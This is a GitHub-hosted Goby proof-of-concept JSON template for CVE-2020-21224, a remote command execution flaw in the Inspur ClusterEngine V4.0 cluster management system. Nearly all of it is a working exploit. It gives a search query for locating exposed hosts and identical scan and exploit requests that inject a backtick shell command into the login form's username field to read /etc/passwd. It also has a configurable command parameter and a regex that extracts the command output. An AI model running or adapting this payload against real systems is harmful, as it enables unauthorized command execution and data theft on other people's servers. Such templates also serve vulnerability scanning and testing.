-
Notifications
You must be signed in to change notification settings - Fork 8
/
ClusterEngineV4.0_RCE_.json
102 lines (102 loc) · 3.64 KB
/
ClusterEngineV4.0_RCE_.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
{
"Name": "ClusterEngineV4.0 RCE (CVE-2020-21224)",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "title=\"TSCEV4.0\" || body=\"ClusterEngine V4.0\"",
"Description": "The dangerous characters in Inspur server cluster management system are unfiltered, resulting in remote command execution",
"Product": "ClusterEngineV4.0",
"Homepage": "https://en.inspur.com/",
"Author": "PeiQi",
"Impact": "<p>Remote command execution<br></p>",
"Recommandation": "",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "select",
"value": "cat /etc/passwd",
"show": ""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/login",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "op=login&username=peiqi`$(cat /etc/passwd)`"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/login",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "op=login&username=peiqi`$(cat /etc/passwd)`"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|/bin/sh: (.*?): No"
]
}
],
"PostTime": "2021-04-04 22:21:03",
"GobyVersion": "1.8.255"
}